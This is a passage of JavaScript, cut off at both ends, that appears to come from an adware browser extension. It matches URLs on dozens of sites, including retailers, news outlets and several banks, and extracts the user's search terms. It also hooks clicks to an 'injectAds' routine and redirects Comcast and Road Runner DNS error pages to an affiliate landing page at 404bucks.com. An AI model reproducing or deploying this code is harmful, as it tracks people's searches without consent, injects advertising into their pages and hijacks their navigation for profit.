href.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/s\/(.*?)\?.*$/) if (m !== null) { isHomeDepot = true; escapedTerm = m[1]; term = unescape(m[1]); term = unescape(term); isShop = true; return; } m = ref.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/webapp\/catalog\/servlet\/Search\/?\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'lowes': m = href.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/(.*?)\?(.+&)?UserSearch=([^&]*).*$/); if (m !== null) { isLowes = true; escapedTerm = m[3]; term = unescape(m[3]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/SearchCatalogDisplay\/?\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/Search=([^&]*)\?.*$/) if (m !== null) { isLowes = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'shopping': m = href.match(/^https?:\/\/www\.shopping\.[a-z\.]+\/.*\/products\/?\?(.+&)?KW=([^&]*).*$/) if (m !== null) { isShopping = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = ref.match(/^https?:\/\/www\.shopping\.[a-z\.]+\/.*\/products\/?\?(.+&)?KW=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'kmart': m = href.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/shc\/s\/search[0-9_]*\/?\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isKmart = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/shc\/s\/search[0-9_]*\/?\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/search=([^?]*).*$/) if (m !== null) { isKmart = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'jcpenney': m = href.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/jcp\/XGN.aspx\?(.+&)?SearchString=([^&]*).*$/) if (m !== null) { isJcPenny = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = href.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/(.*?)\/results.jsp\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { isJcPenny = true; escapedTerm = m[3]; term = unescape(m[3]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/dotcom\/jsp\/search\/results.jsp\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'sears': m = href.match(/^https?:\/\/www\.sears\.[a-z\.]+\/shc\/s\/[0-9_ a-z A-Z %]*\/?\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isSears = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.sears\.[a-z\.]+\/shc\/s\/[0-9_ a-z A-Z %]*\/?\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.sears\.[a-z\.]+\/search=([^?]*).*$/) if (m !== null) { isSears = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'walmart': m = href.match(/^https?:\/\/www\.walmart\.[a-z\.]+\/search\/search-ng\.do\?(.+&)?search_query=([^&]*).*$/) if (m !== null) { isWalmart = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = ref.match(/^https?:\/\/www\.walmart\.[a-z\.]+\/search\/search-ng\.do\?(.+&)?search_query=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'staples': m = href.match(/^https?:\/\/www\.staples\.[a-z\.]+\/office\/supplies\/StaplesSearch\?(.+&)?searchkey=([^&]*).*$/) if (m !== null) { isStaples = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = ref.match(/^https?:\/\/www\.staples\.[a-z\.]+\/office\/supplies\/StaplesSearch\?(.+&)?searchkey=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.staples\.[a-z\.]+\/(.*?)\/.*$/) if (m !== null) { isStaples = true; escapedTerm = m[1]; term = unescape(m[1]); isSearch = true; return; } break; case 'youtube': m = href.match(/^https?:\/\/www\.youtube\.[a-z\.]+\/results\?search_query=([^&]*).*$/) if(m !== null) { isYoutube = true; escapedTerm = m[1]; term = unescape(m[1]); return; } if(jQuery('#masthead-search-term').val() != '') { isYoutube = true; escapedTerm = jQuery('#masthead-search-term').val(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } break; case 'wikipedia': m = href.match(/^https?:\/\/en\.wikipedia\.[a-z\.]+\/wiki\/(.*)$/) if(m !== null) { m[1] = m[1].replace("_", " "); escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'live': m = href.match(/^https?:\/\/[a-z]+\.live.com\/search\?(.+&)?query=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'go': m = href.match(/^https?:\/\/disney\.go\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isGoD = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/[a-z\.]+\.go\.com\/([^&]*)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace("-", " "); return; } m = href.match(/^https?:\/\/[a-z\.]+\.go\.com\/search\?(.+&)?searchtext=([^&]*).*$/) if (m !== null) { isGo = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'netflix': m = href.match(/^https?:\/\/[a-z]+\.netflix\.com\/Search\?(.+&)?oq=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'nextag': m = href.match(/^https?:\/\/[a-z]+\.nextag\.com\/(.*?)\/.*$/) if (m !== null) { isNextag = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'huffingtonpost': m = href.match(/^https?:\/\/[a-z]+\.huffingtonpost\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'apple': m = href.match(/^https?:\/\/www\.apple\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'bankofamerica': m = href.match(/^https?:\/\/www[1-9]+\.bankofamerica\.com\/search\/Search.do\?(.+&)?questionbox=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'imdb': m = href.match(/^https?:\/\/www\.imdb\.com\/find\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); term = term.replace("+", " "); return; } break; case 'chase': m = href.match(/^https?:\/\/www\.chase\.com\/ccp\/index.jsp\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'nytimes': m = href.match(/^https?:\/\/[a-z]+\.nytimes\.com\/search\/sitesearch\?(.+&)?query=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'imgur': m = href.match(/^https?:\/\/imgur\.com\/(.*?)\?(.+&)?q=([^&]*).*$/) if (m !== null) { isImgur = true; escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'babylon': m = href.match(/^https?:\/\/[a-z]+\.babylon\.com\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isBabylon = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'microsoft': m = href.match(/^https?:\/\/[a-z]+\.microsoft\.com\/en-us\/results.aspx\?(.+&)?q=([^&]*).*$/); if (m !== null) { isMicrosoft = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'flickr': m = href.match(/^https?:\/\/www\.flickr\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'wellsfargo': m = href.match(/^https?:\/\/www\.wellsfargo\.com\/search\/search\?(.+&)?query=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'comcast': m = href.match(/^https?:\/\/[a-z]+\.comcast\.net\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isComcast = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/errorpage\.comcast\.[a-z\.]+\/\?(.+&)?q=([^&]*).*$/); if (m !== null) { isRr = true; window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]); return; } break; case 'foxnews': m = href.match(/^https?:\/\/www\.foxnews\.com\/search-results\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isFoxnews = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'yelp': m = href.match(/^https?:\/\/www\.yelp\.com\/search\?(.+&)?find_desc=([^&]*).*$/) if (m !== null) { isYelp = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'etsy': m = href.match(/^https?:\/\/www\.etsy\.com\/search\/handmade\?(.+&)?q=([^&]*).*$/) if (m !== null) { isEtsy = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.etsy\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isEtsy = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'reddit': m = href.match(/^https?:\/\/www\.reddit\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'ehow': m = href.match(/^https?:\/\/www\.ehow\.com\/search\.html\?(.+&)?s=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'cnet': m = href.match(/^https?:\/\/www\.cnet\.com\/[a-z \-_ 0-9]+\.html\?(.+&)?query=([^&]*).*$/) if (m !== null) { isCnet = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'mywebsearch': m = href.match(/^https?:\/\/[a-z]+\.mywebsearch\.com\/mywebsearch\/[a-zA-Z \. 0-9]+\?(.+&)?searchfor=([^&]*).*$/) if (m !== null) { isMws = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'ups': m = href.match(/^https?:\/\/www\.ups\.com\/search\/quick\?(.+&)?query=([^&]*).*$/) if (m !== null) { isUps = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'adobe': m = href.match(/^https?:\/\/www\.adobe\.com\/cfusion\/search\/index.cfm\?(.+&)?term=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'usps': m = href.match(/^https?:\/\/www\.usps\.com\/search\.htm\?(.+&)?q=([^&]*).*$/) if (m !== null) { isUsps = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'reference': m = href.match(/^https?:\/\/[a-z]+\.reference\.com\/browse\/(.*?)\?.*$/) if (m !== null) { isReference = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'att': m = href.match(/^https?:\/\/[a-z]+\.att\.com\/global-search\/search.jsp\?(.+&)?q=([^&]*).*$/) if (m !== null) { isAtt = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'washingtonpost': m = href.match(/^https?:\/\/www\.washingtonpost\.com\/newssearch\/search\.html\?(.+&)?st=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'intuit': m = href.match(/^https?:\/\/www\.intuit\.com\/search\/small\-business\.jsp\?(.+&)?searchTerm=([^&]*).*$/) if (m !== null) { isIntuit = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'constantcontact': m = href.match(/^https?:\/\/www\.constantcontact\.com\/search\/index\.jsp\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'warriorforum': m = href.match(/^https?:\/\/www\.warriorforum\.com\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); return; } break; case 'rr': m = href.match(/^https?:\/\/[a-z]+\.rr\.com\/web\?\#(.+&)?q=([^&]*).*$/) if (m !== null) { isRr = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace("+", " "); return; } m = href.match(/^https?:\/\/dnssearch\.rr\.[a-z\.]+\/index\.php\?(.+&)?origURL=([^&]*).*$/); if (m !== null) { isRr = true; window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]); return; } break; case 'co': m = href.match(/^https?:\/\/www\.bbc\.co\.uk\/search\/([^&]*)$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } m = href.match(/^https?:\/\/www\.dailymail\.co\.uk\/home\/search\.html\?(.+&)?searchPhrase=([^&]*).*$/) if (m !== null) { isDailymail = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'indeed': m = href.match(/^https?:\/\/www\.indeed\.com\/jobs\?(.+&)?q=([^&]*).*$/) if (m !== null) { isIndeed = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'photobucket': m = href.match(/^https?:\/\/photobucket\.com\/images\/([^&]*)\/$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'usatoday': m = href.match(/^https?:\/\/www\.usatoday\.com\/search\/results\?(.+&)?q=([^&]*).*$/) if (m !== null) { isUsa = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'wsj': m = href.match(/^https?:\/\/[a-z]+\.wsj\.com\/search\/term\.html\?(.+&)?KEYWORDS=([^&]*).*$/) if (m !== null) { isWsj = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'thepiratebay': m = href.match(/^https?:\/\/thepiratebay\.se\/search\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'verizonwireless': m = href.match(/^https?:\/\/[a-z]+\.verizonwireless\.com\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'americanexpress': m = href.match(/^https?:\/\/search\.americanexpress\.com\/app\/answers\/list\/search\/[a-z 0-9]+\/kw\/(.*?)$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'capitalone': m = href.match(/^https?:\/\/www\.capitalone\.com\/search\/\?(.+&)?qt=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'latimes': m = href.match(/^https?:\/\/www\.latimes\.com\/search\/dispatcher\.front\?(.+&)?Query=([^&]*).*$/) if (m !== null) { isLatimes = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'zillow': m = href.match(/^https?:\/\/www\.zillow\.com\/homes\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); term = term.replace(/_rb/g, ""); return; } break; case 'newegg': m = href.match(/^https?:\/\/www\.newegg\.com\/Product\/ProductList\.aspx\?(.+&)?Description=([^&]*).*$/) if (m !== null) { isNewegg = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'irs': m = href.match(/^https?:\/\/search\.irs\.gov\/web\/query\.html\?(.+&)?qt=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'tmz': m = href.match(/^https?:\/\/www\.tmz\.com\/search\/articles\/(.*?)\/.*$/) if (m !== null) { isTmz = true; escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'myspace': m = href.match(/^https?:\/\/www\.myspace\.com\/search\/(.*?)\?(.+&)?q=([^&]*).*$/) if (m !== null) { isMyspace = true; escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'fiverr': m = href.match(/^https?:\/\/fiverr\.com\/gigs\/search\?(.+&)?query=([^&]*).*$/) if (m !== null) { isFiverr = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'forbes': m = href.match(/^https?:\/\/search\.forbes\.com\/search\/find\?(.+&)?MT=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'allrecipes': m = href.match(/^https?:\/\/allrecipes\.com\/recipe\/(.*?)\/.*$/) if (m !== null) { isAllrecipes = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); return; } m = href.match(/^https?:\/\/allrecipes\.com\/search\/default\.aspx\?(.+&)?wt=([^&]*).*$/) if (m !== null) { isAllrecipes = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'nba': m = href.match(/^https?:\/\/www\.nba\.com\/search\/\?(.+&)?text=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'foxsports': m = href.match(/^https?:\/\/msn\.foxsports\.com\/search\?(.+&)?sp_q=([^&]*).*$/) if (m !== null) { isFoxsports = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'deviantart': m = href.match(/^https?:\/\/[a-z]+\.deviantart\.com\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isDevart = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'cbssports': m = href.match(/^https?:\/\/www\.cbssports\.com\/info\/search\#(.+&)?q=([^&]*).*$/) if (m !== null) { isCbssports = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'shopathome': m = href.match(/^https?:\/\/search\.shopathome\.com\/sr\.aspx\?(.+&)?sf=([^&]*).*$/) if (m !== null) { isShopathome = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/search\.shopathome\.com\/search\?(.+&)?w=([^&]*).*$/); if (m !== null) { isShopathome = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.shopathome\.com\/(.*?)\?(.+&)?w=([^&]*).*$/); if (m !== null) { isShopathome = true; escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'slickdeals': m = href.match(/^https?:\/\/slickdeals\.net\/newsearch\.php\?(.+&)?q=([^&]*).*$/) if (m !== null) { isSlickdeals = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'verizon': m = href.match(/^https?:\/\/search\.verizon\.com\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isVerizon = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'stackoverflow': m = href.match(/^https?:\/\/stackoverflow\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/stackoverflow\.com\/questions\/[a-z 0-9]+\/(.*?)$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); return; } break; case 'squidoo': m = href.match(/^https?:\/\/www\.squidoo\.com\/search\/results\?(.+&)?q=([^&]*).*$/) if (m !== null) { isSquidoo = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.split('#'); term = term[0]; return; } break; case 'mashable': m = href.match(/^https?:\/\/mashable\.com\/follow\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/mashable\.com\/[0-9]+\/[0-9]+\/[0-9]+\/(.*?)\/$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); return; } break; case 'kohls': m = href.match(/^https?:\/\/www\.kohls\.com\/upgrade\/webstore\/(.*?)$/) if (m !== null) { isKohls = true; var termText = jQuery('.searchbar').find('strong'); term = jQuery(termText[1]).html(); escapedTerm = term; return; } m = href.match(/^https?:\/\/www\.kohls\.com\/search.jsp\?search=([^&]*).*$/) if (m !== null) { isKohls = true; escapedTerm = m[1]; term = unescape(m[1]); return; } m = href.match(/^https?:\/\/www\.kohls\.com\/search.jsp(.+&)?search=([^&]*).*$/) if (m !== null) { isKohls = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'careerbuilder': m = href.match(/^https?:\/\/www\.careerbuilder\.com\/Jobseeker\/Jobs\/JobResults\.aspx\?(.+\%3)?As_rawwords=([^&]*).*$/) if (m !== null) { isCbuilder = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'people': m = href.match(/^https?:\/\/search\.people\.com\/results\.html\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { isPeople = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'usbank': m = href.match(/^https?:\/\/www\.usbank\.com\/search\/(.*)$/) if (m !== null) { escapedTerm = jQuery('.searchField').val(); term = escapedTerm; return; } break; case 'gap': m = href.match(/^https?:\/\/[a-z]+\.gap\.com\/browse\/search\.do\?(.+&)?searchText=([^&]*).*$/) if (m !== null) { isGap = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'monster': m = href.match(/^https?:\/\/[a-z]+\.monster\.com\/search\/(.*?)$/) if (m !== null) { isMonster = true; escapedTerm = m[1]; term = unescape(m[1]); terms = term.split("_"); term = terms[0].replace(/-/g, " "); return; } break; case 'meetup': m = href.match(/^https?:\/\/[a-z]+\.meetup\.com\/find\/\?(.+&)?keywords=([^&]*).*$/) if (m !== null) { isMeetup = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'webmd': m = href.match(/^https?:\/\/www\.webmd\.com\/search\/search\_results\/default\.aspx\?(.+&)?query=([^&]*).*$/) if (m !== null) { isWebmd = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.webmd\.com\/(.*?)\/.*$/) if (m !== null) { isWebmd = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/-/g, " "); return; } break; case 'trulia': m = href.match(/^https?:\/\/[a-z]+\.trulia\.com\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/_/g, " "); return; } break; case 'clickbank': m = href.match(/^https?:\/\/www\.clickbank\.com\/buy_products\.htm\?(.*?)$/) if (m !== null) { term = jQuery('#mainCategoryTitle').html(); var links = jQuery('#category_accordion a').each(function(i) { jQuery(this).click(function() { injectAds(); }); }); return; } break; case 'reuters': m = href.match(/^https?:\/\/www\.reuters\.com\/search\?(.+&)?blob=([^&]*).*$/) if (m !== null) { isReuters = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'ca': m = href.match(/^https?:\/\/ca\.gov\/[a-z A-Z]+\/Default\.aspx\?(.+&)?search=([^&]*).*$/) if (m !== null) { isCa = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'nih': m = href.match(/^https?:\/\/[a-z 0-9]+\.google\.[a-z]+\.nih\.gov\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isNih = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'realtor': m = href.match(/^https?:\/\/www\.realtor\.com\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'manta': m = href.match(/^https?:\/\/www\.manta\.com\/mb\?(.+&)?search=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'quickmeme': m = href.match(/^https?:\/\/www\.quickmeme\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.quickmeme\.com\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\-/g, " "); return; } break; case 'cbslocal': m = href.match(/^https?:\/\/[a-z]+\.cbslocal\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'ign': m = href.match(/^https?:\/\/www\.ign\.com\/search\/product\?(.+&)?query=([^&]*).*$/) if (m !== null) { isIgn = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/www\.ign\.com\/search\?(.+&)?q=([^&]*).*$/); if (m !== null) { isIgn = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'whitepages': m = href.match(/^https?:\/\/www\.whitepages\.com\/business\?(.+&)?key=([^&]*).*$/) if (m !== null) { isWpages = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'mlb': m = href.match(/^https?:\/\/[a-z]+\.mlb\.com\/search\/\?(.+&)?query=([^&]*).*$/) if (m !== null) { isMlb = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'retailmenot': m = href.match(/^https?:\/\/www\.retailmenot\.com\/search\/\?(.+&)?query=([^&]*).*$/) if (m !== null) { isRetailmenot = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/www\.retailmenot\.com\/s\/(.*)$/) if (m !== null) { isRetailmenot = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/www\.retailmenot\.com\/view\/(.*?)$/) if (m !== null) { isRetailmenot = true; escapedTerm = m[1]; term = unescape(m[1])+" coupons"; return; } break; case 'nydailynews': m = href.match(/^https?:\/\/www\.nydailynews\.com\/search\-results\/[a-z 0-9 \.\-\_]+\?(.+&)?q=([^&]*).*$/) if (m !== null) { isNydaily = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'digg': m = href.match(/^https?:\/\/digg\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isDigg = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'hubpages': m = href.match(/^https?:\/\/hubpages\.com\/search\/(.*?)\??$/) if (m !== null) { isHubpages = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\+/g, " "); return; } break; case 'search-results': m = href.match(/^https?:\/\/www\.search\-results\.com\/[a-z]+\?(.+&)?q=([^&]*).*$/) if (m !== null) { isSresults = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'foodnetwork': m = href.match(/^https?:\/\/www\.foodnetwork\.com\/search\/delegate\.do\?(.+&)?fnSearchString=([^&]*).*$/) if (m !== null) { isFnetwork = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www\.foodnetwork\.com\/recipes\/[a-z \-]+\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\-/g, " "); return; } break; case 'earthlink': m = href.match(/^https?:\/\/[a-z]+\.earthlink\.net\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isElink = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'dailymotion': m = href.match(/^https?:\/\/[a-z]+\.dailymotion\.com\/(.*)\/search\/([^&]*)\/.*$/) if (m !== null) { isDM = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'sfgate': m = href.match(/^https?:\/\/[a-z]+\.sfgate\.com\/(.*?)\/[a-z]+\/[a-z]+\/[a-z]+\?(.+&)?term=([^&]*).*$/) if (m !== null) { isSfgate = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/[a-z]+\.sfgate\.com\/(.*?)\?(.+&)?query=([^&]*).*$/); if (m !== null) { isSfgate = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'costco': m = href.match(/^https?:\/\/[a-z]+\.costco\.com\/(.*?)\/Search.aspx\?(.+&)?search=([^&]*).*$/) if (m !== null) { isCostco = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/[a-z]+\.costco\.com\/CatalogSearch\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isCostco = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'accuweather': m = href.match(/^https?:\/\/[a-z]+\.accuweather\.com\/en\/us\/(.*?)\/.*$/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\-/g, " "); return; } break; case 'hp': m = href.match(/^https?:\/\/[a-z 0-9]+\.hp\.com\/us\/en\/hp\-search\/search\-results\.html\?(.+&)?qt=([^&]*).*$/) if (m !== null) { isHp = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'citibank': m = href.match(/^https?:\/\/[a-z]+\.citibank\.com\/US\/JRS\/globalsearch\/Search\.do\?(.+&)?qt=([^&]*).*$/) if (m !== null) { isCBank = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'bloomberg': m = href.match(/^https?:\/\/[a-z 0-9]+\.bloomberg\.com\/search\/\?(.+&)?q=([^&]*).*$/) if (m !== null) { isBberg = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'marketwatch': m = href.match(/^https?:\/\/[a-z]+\.marketwatch\.com\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isMwatch = true; escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'pricegrabber': m = href.match(/^https?:\/\/[a-z]+\.pricegrabber\.com\/(.*?)\/.*$/) if (m !== null) { isPGrabber = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\-/g, " "); 